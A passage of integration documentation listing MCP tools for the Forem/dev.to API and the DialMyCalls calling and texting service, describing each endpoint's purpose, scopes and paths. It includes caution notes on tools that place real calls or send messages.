/api/profile_images/{username} GET /api/v1/devto/api/profile_images/{username}. Scopes: api. devto_get_api_readinglist (read) — Retrieve the list of articles saved to the authenticated user's reading list. ### Integration Guidance: - Requires authentication. - Under the hood, this endpoint retrieves articles that the user has reacted to with the "save" reaction category. - Supports pagination, defaulting to 30 articles per page. - Returned objects conform to the standard ArticleIndex schema. via GET /api/readinglist GET /api/v1/devto/api/readinglist. Scopes: api. devto_get_api_recommended_articles_lists (read) — Retrieve a list of all recommended articles lists configured in the system. Overview: - Recommended Articles Lists are curated selections of articles pinned or recommended in layout regions (e.g. main_feed or sidebar). - Supports search by list name and standard query pagination. - Requires Administrator privileges. via GET /api/recommended_articles_lists GET /api/v1/devto/api/recommended_articles_lists. Scopes: api. devto_get_api_recommended_articles_lists_by_id (read) — Retrieve full details and nested article lists for a specific recommended articles list by ID. Requires Admin credentials. via GET /api/recommended_articles_lists/{id} GET /api/v1/devto/api/recommended_articles_lists/{id}. Scopes: api. devto_get_api_segments (read) — Retrieve a list of manually managed audience segments. Audience Segments Overview: - Audience Segments are cohorts of users grouped together for targeting announcements, features, or promotional campaign banners (Billboards). - This endpoint lists manual cohorts created and maintained by site administrators. - Requires administrator privileges. The endpoint supports pagination, and each page will contain 30 segments by default. via GET /api/segments GET /api/v1/devto/api/segments. Scopes: api. devto_get_api_segments_by_id (read) — Retrieve details of a single manually-managed audience segment specified by ID. Integration Tip: - Includes segment type (manual), configuration, and metadata. - Automatic/system-generated segments cannot be queried or updated via this endpoint. via GET /api/segments/{id} GET /api/v1/devto/api/segments/{id}. Scopes: api. devto_get_api_segments_by_id_users (read) — Retrieve a paginated list of users enrolled in the specified manual audience segment. Pagination Guidance: - Supports standard page and per_page controls, returning 30 users per page by default. via GET /api/segments/{id}/users GET /api/v1/devto/api/segments/{id}/users. Scopes: api. devto_get_api_subforems (read) — Retrieve a list of all discoverable subforems/communities. Subforems Overview: - Subforems represent distinct sub-communities or specialized sections hosted within the Forem instance. - Bypasses authentication (can be accessed publicly). - Returns list of names, slugs, color schemes, and target interests. via GET /api/subforems GET /api/v1/devto/api/subforems. Scopes: api. devto_get_api_surveys (read) — Retrieve a list of surveys configured on the platform. Surveys Overview: - Surveys are admin-defined questionnaires consisting of multiple choice or text polls. - Requires Administrator authorization. - Supports standard pagination controls and active status filtering. via GET /api/surveys GET /api/v1/devto/api/surveys. Scopes: api. devto_get_api_surveys_by_id_or_slug (read) — Retrieve a single survey (by ID or slug) with its nested structure. Nested Format Details: - Returns the target Survey object including all associated Polls, multiple choice options, and configuration states. - Requires Administrator authorization. via GET /api/surveys/{id_or_slug} GET /api/v1/devto/api/surveys/{id_or_slug}. Scopes: api. devto_get_api_surveys_by_id_or_slug_poll_text_responses (read) — Retrieve free-text poll responses for a specific survey. Integration & Cursor Tip: - Fetches written user answers for text-input questions. - Uses cursor-based pagination (after query param) to stream responses. - Requires Administrator authorization. via GET /api/surveys/{id_or_slug}/poll_text_responses GET /api/v1/devto/api/surveys/{id_or_slug}/poll_text_responses. Scopes: api. devto_get_api_surveys_by_id_or_slug_poll_votes (read) — Retrieve multiple-choice poll votes for a specific survey. Cursor Pagination Tip: - Uses cursor-based pagination to safely stream high volumes of voting records. - Specify the after query parameter with the last retrieved record ID to get the next page. - Requires Administrator authorization. via GET /api/surveys/{id_or_slug}/poll_votes GET /api/v1/devto/api/surveys/{id_or_slug}/poll_votes. Scopes: api. devto_get_api_tags (read) — Retrieve a list of tags used on the platform, ordered by popularity. Integration Tips: - Bypasses authentication (can be accessed publicly). - Ordered by overall popularity/usage metrics on the platform. - Useful for autocomplete inputs in article editors, tag selection screens in settings, or rendering global navigation/explore lists. It supports pagination, each page will contain 10 tags by default. via GET /api/tags GET /api/v1/devto/api/tags. Scopes: api. devto_get_api_trends (read) — Retrieve a list of active trends. Trends Overview & Score Calculation: - Trends represent hot topics or semantic themes currently being heavily discussed in the community. - They are computed by clustering semantic concept embeddings of recently published articles. - The score reflects the volume and engagement (views, comments, reactions) of articles associated with the trend. - Returned trends are ordered by score and recency. - Publicly accessible without authentication. It supports pagination, each page will contain 10 trends by default. via GET /api/trends GET /api/v1/devto/api/trends. Scopes: api. devto_get_api_trends_by_id_or_slug (read) — Retrieve details of a single trend using either its numeric ID or unique slug. Usage Guidance: - Useful for loading details of a trending topic (description, score, and slug details) to render header sections on trending tag or topic pages. via GET /api/trends/{id_or_slug} GET /api/v1/devto/api/trends/{id_or_slug}. Scopes: api. devto_get_api_trends_by_trend_id_or_slug_articles (read) — Retrieve a list of published articles belonging to a trend. Article Ordering & Proximity: - Articles are mapped to trends based on their embedding distance to the trend's centroid. - Returned articles are ordered by proximity/similarity (distance) first (most relevant posts first), and then by overall article engagement score. - Supports pagination, each page will contain 10 articles by default. via GET /api/trends/{trend_id_or_slug}/articles GET /api/v1/devto/api/trends/{trend_id_or_slug}/articles. Scopes: api. devto_get_api_users_by_id (read) — This endpoint allows the client to retrieve a single user, either by id or by the user's username. Path Parameter Options: - id: Can be either the user's unique numerical ID (e.g. 123) OR the user's string username (e.g. ben). - Note that the returned user object schema (ExtendedUser) includes extended profile statistics and social link details. via GET /api/users/{id} GET /api/v1/devto/api/users/{id}. Scopes: api. devto_get_api_users_me (read) — Returned only for delegated Bearer tokens, on any Bearer-capable endpoint, when the configured JWKS endpoint cannot be reached or returns an unusable key set and no cached keys remain. Invalid tokens are 401, never 503. via GET /api/users/me GET /api/v1/devto/api/users/me. Scopes: api. devto_get_api_users_search (read) — Search for a user by email address. Permissions & Context: - Requires administrative privileges (api-key of an administrator). - Used to verify account existence or map email addresses to platform usernames. via GET /api/users/search GET /api/v1/devto/api/users/search. Scopes: api. devto_get_api_v1_openapi_json (read) — Retrieve the machine-readable OpenAPI contract for this Forem instance. Automated clients should use this document instead of inferring endpoint schemas from responses or errors. via GET /api/v1/openapi.json GET /api/v1/devto/api/v1/openapi.json. Scopes: api. devto_get_api_videos (read) — Retrieve a list of articles that contain uploaded videos. Videos Overview: - Bypasses authentication (can be accessed publicly). - Returns articles that are published and include a video asset. - Articles are ordered by descending popularity (views, watch time, and reactions). - By default, returns 24 video articles per page. via GET /api/videos GET /api/v1/devto/api/videos. Scopes: api. devto_patch_api_badges_by_id (write) — Update badge details (title, description, credits awarded, etc.) by unique ID. Requires administrator privileges. via PATCH /api/badges/{id} PATCH /api/v1/devto/api/badges/{id}. Scopes: api. devto_patch_api_concepts_by_id (write) — Update concept metadata such as description, similarity threshold, and custom score. Parameter Guidelines: - similarity_threshold: Cosine distance threshold (range 0.0 to 1.0) determining how closely an article's embedding must align with the concept's anchor embedding to be classified under it. via PATCH /api/concepts/{id} PATCH /api/v1/devto/api/concepts/{id}. Scopes: api. devto_patch_api_events_by_id (write) — Update an existing event. Requires administrator privileges. via PATCH /api/events/{id} PATCH /api/v1/devto/api/events/{id}. Scopes: api. devto_patch_api_feedback_messages_by_id (write) — Update the status of a user feedback message or report. Feedback Messages Overview: - Feedback messages are submitted by users via support forms or content abuse reporting modals. - Requires Administrator privileges. - Used to track moderation/resolution workflows (e.g. marking a spam report as Resolved, Spam, or Ignored). via PATCH /api/feedback_messages/{id} PATCH /api/v1/devto/api/feedback_messages/{id}. Scopes: api. devto_patch_api_recommended_articles_lists_by_id (write) — Update an existing recommended articles list by ID. Requires Admin credentials. via PATCH /api/recommended_articles_lists/{id} PATCH /api/v1/devto/api/recommended_articles_lists/{id}. Scopes: api. devto_patch_api_surveys_by_id_or_slug (write) — Update an existing survey, including its polls and options. Requires Administrator privileges. via PATCH /api/surveys/{id_or_slug} PATCH /api/v1/devto/api/surveys/{id_or_slug}. Scopes: api. devto_post_api_agent_sessions (write) — Upload a new agent session. S3 Upload Workflow: 1. Call the S3 presign endpoint to obtain a direct upload URL for the raw session transcript file. 2. Upload the raw transcript to S3. 3. Send a POST request to this endpoint with the S3 key (s3_key) and the pre-parsed, curated JSON payload (curated_data). via POST /api/agent_sessions POST /api/v1/devto/api/agent_sessions. Scopes: api. devto_post_api_agent_sessions_presign (write) — Generate an S3 presigned PUT URL and object key for uploading raw session transcripts directly to S3. via POST /api/agent_sessions/presign POST /api/v1/devto/api/agent_sessions/presign. Scopes: api. devto_post_api_articles (write) — This endpoint allows the client to create a new article. "Articles" are all the posts that users create on DEV/Forem that typically show up in the feed. They can be a blog post, a discussion question, a help thread etc. but are referred to as articles within the code. Body Parameter Tips: - title: A compelling and descriptive title for the article. - body_markdown: The main text of the article in Markdown format. You can use standard Markdown as well as Forem-specific Liquid tags (e.g., {% embed ... %}). You can also include YAML front matter at the very beginning of the markdown to specify metadata such as tags, series, and cover image. - published: Set to true to immediately publish the article and make it visible in feeds. Set to false (default) to save it as a draft. - tags: An array of up to 4 tag strings, e.g. ['ruby', 'rails']. Tags help categorize your post and improve discoverability. - series: Group articles together by specifying a series name. If the series does not exist, it will be created. - main_image: Absolute URL of the cover image for the article. - canonical_url: If this post was originally published elsewhere, specify the canonical URL to maintain SEO integrity. - description: A short summary of the article used for previews and SEO meta description. - ai_disclosure_level: AI tooling usage disclosure (not_disclosed, no_ai, some_ai, fully_autonomous). via POST /api/articles POST /api/v1/devto/api/articles. Scopes: api. devto_post_api_badge_achievements (write) — Award a badge to a user. Requires administrator privileges. Integration Tips: - user_id: The numeric ID of the user receiving the badge. - badge_id: The numeric ID of the badge being awarded. - rewarding_context_message_markdown: Optional personalized message shown in the notification or profile feed to explain why the user was awarded the badge. - metadata: Optional key/value data stored with the achievement for context. - If the badge cannot be awarded more than once and the user already holds it, the request is rejected with 409 Conflict, and the conflicting achievement_id is included in the response. A 422 is returned for other request errors. via POST /api/badge_achievements POST /api/v1/devto/api/badge_achievements. Scopes: api. devto_post_api_badges (write) — Create a new badge. Requires administrator privileges. Body Parameter Guidelines: - title: Unique name for the badge. - description: Text explanation of the achievement. - remote_badge_image_url: Public URL to an image asset (PNG, GIF, or SVG) representing the badge icon. - allow_multiple_awards: Set to true if a user can earn the same badge multiple times (e.g. weekly challenges). via POST /api/badges POST /api/v1/devto/api/badges. Scopes: api. devto_post_api_billboards (write) — Create a new billboard. ### Parameter Options & Tips: - body_markdown: The HTML/Markdown advertisement copy. - placement_area: Target region in layouts (e.g. post_comments below comments, sidebar in sidebars, home_feed between posts). - display_to: Cohort target rules (e.g. all for everyone, logged_in, guests, or customized segments). - target_geolocations: Comma-separated ISO codes for country/region targeting. - approved & published: Set to true to activate billboard rotation instantly. via POST /api/billboards POST /api/v1/devto/api/billboards. Scopes: api. devto_post_api_events (write) — Create a new event. Requires administrator privileges. via POST /api/events POST /api/v1/devto/api/events. Scopes: api. devto_post_api_follows (write) — Follow users or organizations in bulk on behalf of the authenticated user. Bulk Update Behavior: - Accepts arrays of user_ids and organization_ids in the request body. - Performs follow actions for all provided identifiers. - Highly efficient for onboarding flows or importing social connections. via POST /api/follows POST /api/v1/devto/api/follows. Scopes: api. devto_post_api_organizations (write) — This endpoint allows the client to create an organization with the provided parameters. It requires a token from a user with admin privileges. via POST /api/organizations POST /api/v1/devto/api/organizations. Scopes: api. devto_post_api_pages (write) — Create a new custom page. Requires administrative privileges. ### Body Parameter Guidelines: - title: Heading displayed at the top of the page. - slug: URL path identifier. Must be unique and URL-safe. - body_markdown: Content written in Markdown format. - body_json: Optional JSON payload for API-consumed/structured data pages. - is_top_level_path: Set to true to serve the page directly at the root (e.g. /{slug}) instead of under the default namespace /page/{slug}. Use with caution to avoid namespace collisions with core Forem paths. - template: Layout styling options (contained or custom layouts). via POST /api/pages POST /api/v1/devto/api/pages. Scopes: api. devto_post_api_reactions (write) — Create a reaction on a target resource (Article, Comment, or User) on behalf of the authenticated user. ### Usage Details: - Unlike the toggle endpoint, this endpoint is idempotent: multiple requests to react with the same category to the same target will return the existing reaction without deleting it. via POST /api/reactions POST /api/v1/devto/api/reactions. Scopes: api. devto_post_api_reactions_toggle (write) — Toggle a reaction on a target resource (Article, Comment, or User) on behalf of the authenticated user. ### Toggle Logic: - First Request: Creates a new reaction of the specified category on the reactable target. - Second Request (with same parameters): Deletes the existing reaction. - Particularly useful for simple, interactive UI buttons like "Like", "Unicorn", or "Save" where clicking toggles the active state. via POST /api/reactions/toggle POST /api/v1/devto/api/reactions/toggle. Scopes: api. devto_post_api_recommended_articles_lists (write) — Create a new recommended articles list or update an existing one. Requires Administrator privileges. Body Parameter Guidelines: - name: Curated list title or label (e.g. "Editor's Choice"). - placement_area: Target UI layout region (e.g. main_feed, sidebar_top, onboarding). - expires_at: ISO 8601 timestamp after which the list recommendation automatically expires. - user_id: Owner/curator numeric user ID. - article_ids: Staged array of numeric article IDs to include in the recommendation sequence. via POST /api/recommended_articles_lists POST /api/v1/devto/api/recommended_articles_lists. Scopes: api. devto_post_api_segments (write) — Create a new manually managed audience segment. Usage Guidance: - Used by administrators to define a new target cohort group. - Users can be added or removed in bulk later via segment member endpoints. via POST /api/segments POST /api/v1/devto/api/segments. Scopes: api. devto_post_api_surveys (write) — Create a new survey with optional nested polls and poll options. Requires Administrator privileges. via POST /api/surveys POST /api/v1/devto/api/surveys. Scopes: api. devto_put_api_articles_by_id (write) — This endpoint allows the client to update an existing article by its unique numerical id. Authorization Constraints: - The API key provided must belong to the author of the article. - Supports updating individual fields such as title, body_markdown, published, tags, ai_disclosure_level, etc. - Setting published: false on an already published article will revert it to draft status. via PUT /api/articles/{id} PUT /api/v1/devto/api/articles/{id}. Scopes: api. devto_put_api_articles_by_id_unpublish (write) — This endpoint allows the client to unpublish an article. The user associated with the API key must have any 'admin' or 'moderator' role. The article will be unpublished and will no longer be visible to the public. It will remain in the database and will set back to draft status on the author's posts dashboard. Any notifications associated with the article will be deleted. Any comments on the article will remain. via PUT /api/articles/{id}/unpublish PUT /api/v1/devto/api/articles/{id}/unpublish. Scopes: api. devto_put_api_billboards_by_id (write) — Update an existing billboard's configurations. ### Integration Guidance: - Allows changing placement area, geolocations, target segments, or text copy. - Updating an active billboard takes effect instantly in the layout delivery cache. via PUT /api/billboards/{id} PUT /api/v1/devto/api/billboards/{id}. Scopes: api. devto_put_api_billboards_by_id_unpublish (write) — Remove a billboard from active rotation by unpublishing it. ### Usage: - Instantly disables display across all pages while keeping the configuration stored in the database for later reactivations or historical reporting. via PUT /api/billboards/{id}/unpublish PUT /api/v1/devto/api/billboards/{id}/unpublish. Scopes: api. devto_put_api_organizations_by_id (write) — This endpoint allows the client to update an existing organization. via PUT /api/organizations/{id} PUT /api/v1/devto/api/organizations/{id}. Scopes: api. devto_put_api_pages_by_id (write) — Update an existing page's details by ID. Requires administrative privileges. via PUT /api/pages/{id} PUT /api/v1/devto/api/pages/{id}. Scopes: api. devto_put_api_segments_by_id_add_users (write) — Add users in bulk to the specified manual audience segment. Bulk Update Behavior: - Accepts a JSON array of user_ids in the request body. - Returns a list of successes and failures. Successful additions include users already present in the segment. via PUT /api/segments/{id}/add_users PUT /api/v1/devto/api/segments/{id}/add_users. Scopes: api. devto_put_api_segments_by_id_remove_users (write) — Remove users in bulk from the specified manual audience segment. Bulk Update Behavior: - Accepts a JSON array of user_ids in the request body. - Returns successes (users successfully removed) and failures (users who were not members of the segment). via PUT /api/segments/{id}/remove_users PUT /api/v1/devto/api/segments/{id}/remove_users. Scopes: api. devto_put_api_users_by_id_limited (write) — Limit a user's account permissions. Limited Details: - Requires admin or moderator privileges. - Assigns the limited role, which rate-limits notifications generated by their actions (such as publishing new posts or comments). - Does not restrict content creation or delete content. via PUT /api/users/{id}/limited PUT /api/v1/devto/api/users/{id}/limited. Scopes: api. devto_put_api_users_by_id_spam (write) — Flag a user as spammer. Spam Role Details: - Requires admin or moderator privileges. - Stops the user from creating new posts or comments, acting as a shadowban or block on activity. - Existing content remains but is hidden from search/feeds. via PUT /api/users/{id}/spam PUT /api/v1/devto/api/users/{id}/spam. Scopes: api. devto_put_api_users_by_id_suspend (write) — Suspend a user's account. Suspension Details: - The user associated with the API key must have an admin or moderator role. - Assigns the suspended role to the user, preventing them from posting new content (articles or comments) while suspended. - Existing content is not deleted. - Suspended users are not notified in the UI; if you want them to know, you must notify them explicitly. via PUT /api/users/{id}/suspend PUT /api/v1/devto/api/users/{id}/suspend. Scopes: api. devto_put_api_users_by_id_trusted (write) — Assign the trusted role to a user. Trusted Role Details: - Requires admin or moderator privileges. - Trusted users gain privileges like casting flag votes on inappropriate content or participating in priority review queues. - Triggers a system notification and an email to the user. via PUT /api/users/{id}/trusted PUT /api/v1/devto/api/users/{id}/trusted. Scopes: api. devto_put_api_users_by_id_unpublish (write) — This endpoint allows the client to unpublish all of the articles and comments created by a user. Administrative Action: - Requires the authenticated user to be an Administrator. - This is a destructive administrative action that immediately unpublishes all posts/comments from public feeds. - Ideal for handling spam accounts or cleanup operations. via PUT /api/users/{id}/unpublish PUT /api/v1/devto/api/users/{id}/unpublish. Scopes: api. ================================================================================ ## DialMyCalls URL: https://www.agenticfabriq.com/integrations/dialmycalls Section: Integrated Tools DialMyCalls — 56 MCP tools Provider key: dialmycalls. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dialmycalls_add_access_account (write) — Add a access account. POST /accessaccount. Returns a access account object on success, and returns an error otherwise. THE PASSWORD IS A TOOL ARGUMENT, so whatever is passed here is written into the conversation transcript and any tool-call log along the way. It is the password for a NEW DialMyCalls sub-account, chosen by the caller -- not the connection's API key and not the account holder's own password -- but a sub-account can broadcast, so set a value that will be rotated in DialMyCalls' own console rather than a password reused anywhere else. DialMyCalls requires at least 8 characters with one digit and one upper-case letter. POST /api/v1/dialmycalls/accessaccount. Scopes: api. dialmycalls_add_caller_id (write, destructive) — Add a caller ID. POST /callerid. Returns a caller ID object on success, and returns an error otherwise. Marked destructive over the ledger's verb classification because PRECAUTIONARY, and the reason is that nobody measured it. DialMyCalls' whole description is "Add a caller ID", and it does not say whether registering a number here places the verification call its sibling POST /verify/callerid places explicitly. On a provider whose writes reach telephones, an unmeasured maybe is flagged rather than assumed harmless; it was left unexercised in verification for the same reason. Clearing this is one measurement against a number the operator owns. Registers a caller ID directly, without the PIN round trip that Add Caller ID (Unverified) runs. DialMyCalls does not document whether it also telephones the number to verify it, and Agentic Fabriq has not measured that, so this tool is marked destructive on the precautionary side: treat it as capable of dialling the number given. POST /api/v1/dialmycalls/callerid. Scopes: api. dialmycalls_add_caller_id_unverified (write, destructive) — Initiate adding a new caller ID when you need to go through the verification process. You will receive a phone call at the phone number provided and will need to make a subsequent API call with the PIN code that you are provided. POST /verify/callerid. Returns a caller ID object on success, and returns an error otherwise. Marked destructive over the ledger's verb classification because it telephones the number being registered. DialMyCalls says so in the operation's own description: "You will receive a phone call at the phone number provided and will need to make a subsequent API call with the PIN code that you are provided." PLACES A REAL TELEPHONE CALL to the number being registered, which reads out a PIN; Verify Caller ID (PUT /verify/callerid/{CalleridId}) submits that PIN to finish. Use it only for a number the caller controls. POST /api/v1/dialmycalls/verify/callerid. Scopes: api. dialmycalls_add_contact (write) — Add a contact to your contact list. POST /contact. Returns a contact object on success, and returns an error otherwise. POST /api/v1/dialmycalls/contact. Scopes: api. dialmycalls_add_group (write) — Add a contact group. POST /group. Returns a group object on success, and returns an error otherwise. POST /api/v1/dialmycalls/group. Scopes: api. dialmycalls_cancel_call (write, destructive) — Cancel an outgoing call. DELETE /service/call/{CallId}. Returns the following if a valid identifier was provided, and returns an error otherwise. Cancels a SCHEDULED broadcast. Calls DialMyCalls has already placed are not recalled by this -- only the ones still waiting to go out. DELETE /api/v1/dialmycalls/service/call/{call_id}. Scopes: api. dialmycalls_cancel_text (write, destructive) — Cancel an outgoing text. DELETE /service/text/{TextId}. Returns the following if a valid identifier was provided, and returns an error otherwise. Cancels a SCHEDULED broadcast. Messages DialMyCalls has already sent are not recalled by this -- only the ones still waiting to go out. DELETE /api/v1/dialmycalls/service/text/{text_id}. Scopes: api. dialmycalls_create_call (write, destructive) — Create an outgoing call broadcast. POST /service/call. Returns a call service object on success, and returns an error otherwise. Marked destructive over the ledger's verb classification because it places the broadcast's calls. DialMyCalls' own sentence for this operation is "Create an outgoing call broadcast", `contacts` is a required list of phone numbers, and `send_immediately` dials them on the spot. Nothing takes a placed call back. PLACES REAL TELEPHONE CALLS. Every number in `contacts` is dialled -- immediately when `send_immediately` is true, otherwise at `send_at` -- and the call cannot be unplaced. `callerid_id` must be an APPROVED caller ID (GET /callerids shows `approved`) and `recording_id` an existing recording. Each call spends the account's credits. Only broadcast to numbers whose owners have consented: DialMyCalls' terms make that consent the customer's continuing warranty, and US prerecorded voice calls must identify the caller and offer an opt-out. POST /api/v1/dialmycalls/service/call. Scopes: api. dialmycalls_create_recording_phone (write, destructive) — Create a new recording by phone. POST /recording/phone. Returns a recording object on success, and returns an error otherwise. Marked destructive over the ledger's verb classification because it telephones the number in `phone` so that whoever answers can record the message. DialMyCalls documents that parameter as "The recipient's phone number who will record the message", so this create is an outbound call to a real handset rather than a row in a table. PLACES A REAL TELEPHONE CALL to `phone` so that whoever answers can record the message. Use it only for a number the caller controls. POST /api/v1/dialmycalls/recording/phone. Scopes: api. dialmycalls_create_recording_tts (write) — Create a new recording using text-to-speech. POST /recording/tts. Returns a recording object on success, and returns an error otherwise. POST /api/v1/dialmycalls/recording/tts. Scopes: api. dialmycalls_create_recording_url (write) — Create a new recording from a URL. POST /recording/url. Returns a recording object on success, and returns an error otherwise. POST /api/v1/dialmycalls/recording/url. Scopes: api. dialmycalls_create_text (write, destructive) — Create an outgoing text broadcast. POST /service/text. Returns a service object on success, and returns an error otherwise. Marked destructive over the ledger's verb classification because it sends the broadcast's text messages. DialMyCalls' own sentence is "Create an outgoing text broadcast", `contacts` is a required list of phone numbers, and `send_immediately` sends on the spot. A delivered SMS cannot be recalled. SENDS REAL TEXT MESSAGES. Every number in `contacts` receives every message in `messages` -- immediately when `send_immediately` is true, otherwise at `send_at` -- and a delivered SMS cannot be recalled. `keyword_id` must name a keyword this account owns (GET /keywords). Each message spends credits. Only send to numbers whose owners have opted in; DialMyCalls' terms make that the customer's continuing warranty, and messaging in the US additionally depends on the account's own carrier registration (see `tcr_status` on GET /account). POST /api/v1/dialmycalls/service/text. Scopes: api. dialmycalls_delete_access_account (write, destructive) — Delete a access account. DELETE /accessaccount/{AccessAccountId}. Returns the following if a valid identifier was provided, and returns an error otherwise. DELETE /api/v1/dialmycalls/accessaccount/{access_account_id}. Scopes: api. dialmycalls_delete_caller_id (write, destructive) — Delete a caller ID. DELETE /callerid/{CalleridId}. Returns the following if a valid identifier was provided, and returns an error otherwise. Removing an approved caller ID means broadcasts can no longer be sent from that number, and getting it back requires the PIN verification round trip again. DELETE /api/v1/dialmycalls/callerid/{callerid_id}. Scopes: api. dialmycalls_delete_contact (write, destructive) — Delete a contact from your contact list. DELETE /contact/{ContactId}. Returns the following if a valid identifier was provided, and returns an error otherwise. DELETE /api/v1/dialmycalls/contact/{contact_id}. Scopes: api. dialmycalls_delete_group (write, destructive) — Delete a contact group. DELETE /group/{GroupId}. Returns the following if a valid identifier was provided, and returns an error otherwise. DELETE /api/v1/dialmycalls/group/{group_id}. Scopes: api. dialmycalls_delete_incoming_text (write, destructive) — Delete a incoming text. DELETE /incoming/text/{TextId}. Returns the following if a valid identifier was provided, and returns an error otherwise. DELETE /api/v1/dialmycalls/incoming/text/{text_id}. Scopes: api. dialmycalls_delete_keyword (write, destructive) — Delete a keyword. DELETE /keyword/{KeywordId}. Returns the following if a valid identifier was provided, and returns an error otherwise. DELETE /api/v1/dialmycalls/keyword/{keyword_id}. Scopes: api. dialmycalls_delete_recording (write, destructive) — Delete a recording. DELETE /recording/{RecordingId}. Returns the following if a valid identifier was provided, and returns an error otherwise. DELETE /api/v1/dialmycalls/recording/{recording_id}. Scopes: api. dialmycalls_delete_vanity_number (write, destructive) — Delete a vanity number. DELETE /vanitynumber/{VanityNumberId}. Returns the following if a valid identifier was provided, and returns an error otherwise. Releases a provisioned telephone number. The number goes back to the carrier pool and cannot be reclaimed; anything printed or published with it stops reaching this account. DELETE /api/v1/dialmycalls/vanitynumber/{vanity_number_id}. Scopes: api. dialmycalls_delete_vanity_voicemail (write, destructive) — Delete a vanity voicemail. DELETE /vanitynumber/{VanityNumberId}/voicemail/{VanityVoicemailId}. Returns a list of vanity number voicemail objects . DELETE /api/v1/dialmycalls/vanitynumber/{vanity_number_id}/voicemail/{vanity_voicemail_id}. Scopes: api. dialmycalls_get_access_account (read) — Retrieve an access account. GET /accessaccount/{AccessAccountId}. Returns a access account object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/accessaccount/{access_account_id}. Scopes: api. dialmycalls_get_account (read) — Retrieve account details. GET /account. Returns a account object if a valid identifier was provided, and returns an error otherwise. The credentials in this object are REDACTED before it reaches a caller, and only those. `results.pusher` is dropped whole -- a Pusher app key and the account's private and presence channel names, all of it console plumbing. Inside `results.intercom_settings` only `user_hash` is replaced, the HMAC that authenticates the account holder to Intercom's messenger. The DialMyCalls API key itself is NOT echoed here (measured 2026-09-17, re-checked 2026-09-18). Everything else is passed through, including `credits_available`, the 70-entry `perms` map, and the US carrier-registration flags `tcr_status`, `tcr_vetting_status`, `tfn_status` and `tfn_requires_verification` -- which live INSIDE `intercom_settings` (and again in its `company` copy) and nowhere else in the payload. Check those when a connection whose key is valid still has broadcasts refused: 10DLC and toll-free registration are done in DialMyCalls' own console and are the customer's to clear. GET /api/v1/dialmycalls/account. Scopes: api. dialmycalls_get_call (read) — Retrieve a call. GET /service/call/{CallId}. Returns a call service object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/service/call/{call_id}. Scopes: api. dialmycalls_get_call_recipients (read) — Retrieve a list of a call's recipients. GET /service/call/{CallId}/recipients. Returns a list of call recipient objects if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/service/call/{call_id}/recipients. Scopes: api. dialmycalls_get_caller_id (read) — Retrieve a caller ID. GET /callerid/{CalleridId}. Returns a caller ID object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/callerid/{callerid_id}. Scopes: api. dialmycalls_get_contact (read) — Retrieve a contact to your contact list. GET /contact/{ContactId}. Returns a contact object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/contact/{contact_id}. Scopes: api. dialmycalls_get_group (read) — Retrieve a contact group. GET /group/{GroupId}. Returns a group object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/group/{group_id}. Scopes: api. dialmycalls_get_incoming_text (read) — Retrieve a text. GET /incoming/text/{TextId}. Returns a Incoming Text object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/incoming/text/{text_id}. Scopes: api. dialmycalls_get_keyword (read) — Retrieve a keyword. GET /keyword/{KeywordId}. Returns a keyword object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/keyword/{keyword_id}. Scopes: api. dialmycalls_get_recording (read) — Retrieve a recording. GET /recording/{RecordingId}. Returns a recording object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/recording/{recording_id}. Scopes: api. dialmycalls_get_text (read) — Retrieve a text. GET /service/text/{TextId}. Returns a service object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/service/text/{text_id}. Scopes: api. dialmycalls_get_text_recipients (read) — Retrieve a list of a text's recipients. GET /service/text/{TextId}/recipients. Returns a list of text recipient objects if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/service/text/{text_id}/recipients. Scopes: api. dialmycalls_get_vanity_number (read) — Retrieve a vanity number. GET /vanitynumber/{VanityNumberId}. Returns a vanitynumber object if a valid identifier was provided, and returns an error otherwise. GET /api/v1/dialmycalls/vanitynumber/{vanity_number_id}. Scopes: api. dialmycalls_get_vanity_voicemail (read) — Retrieve a vanity voicemail. GET /vanitynumber/{VanityNumberId}/voicemail/{VanityVoicemailId}. Returns a list of vanity number voicemail objects . MEASURED DEFECT, 2026-09-17: asked for a voicemail id that does not exist on a real vanity number, DialMyCalls answers HTTP 200 carrying `{"results":{"error":{"message":"Undefined array key 0"}},"meta":{"result":"failure","status":2}}` -- a PHP notice under a success status. Agentic Fabriq raises on any envelope whose `meta.result` is `failure`, so that arrives as an error rather than as a result, but the underlying response is the provider's. GET /api/v1/dialmycalls/vanitynumber/{vanity_number_id}/voicemail/{vanity_voicemail_id}. Scopes: api. dialmycalls_get_vanity_voicemails (read) — Retrieve a list of vanity voicemails. GET /vanitynumber/{VanityNumberId}/voicemails. Returns a list of vanity number voicemail objects . GET /api/v1/dialmycalls/vanitynumber/{vanity_number_id}/voicemails. Scopes: api. dialmycalls_list_access_accounts (read) — Retrieve a list of access accounts. GET /accessaccounts. Returns a list of access account objects . GET /api/v1/dialmycalls/accessaccounts. Scopes: api. dialmycalls_list_caller_ids (read) — Retrieve a list of caller IDs. GET /callerids. Returns a list of caller ID objects . GET /api/v1/dialmycalls/callerids. Scopes: api. dialmycalls_list_calls (read) — Retrieve a list of calls. GET /service/calls. Returns a list of call service objects . GET /api/v1/dialmycalls/service/calls. Scopes: api. dialmycalls_list_contacts (read) — Retrieve a list of contacts. GET /contacts. Returns a list of contact objects . GET /api/v1/dialmycalls/contacts. Scopes: api. dialmycalls_list_contacts_in_group (read) — Retrieve a list of contacts in a contact group. GET /contacts/{GroupId}. Returns a list of contact objects . GET /api/v1/dialmycalls/contacts/{group_id}. Scopes: api. 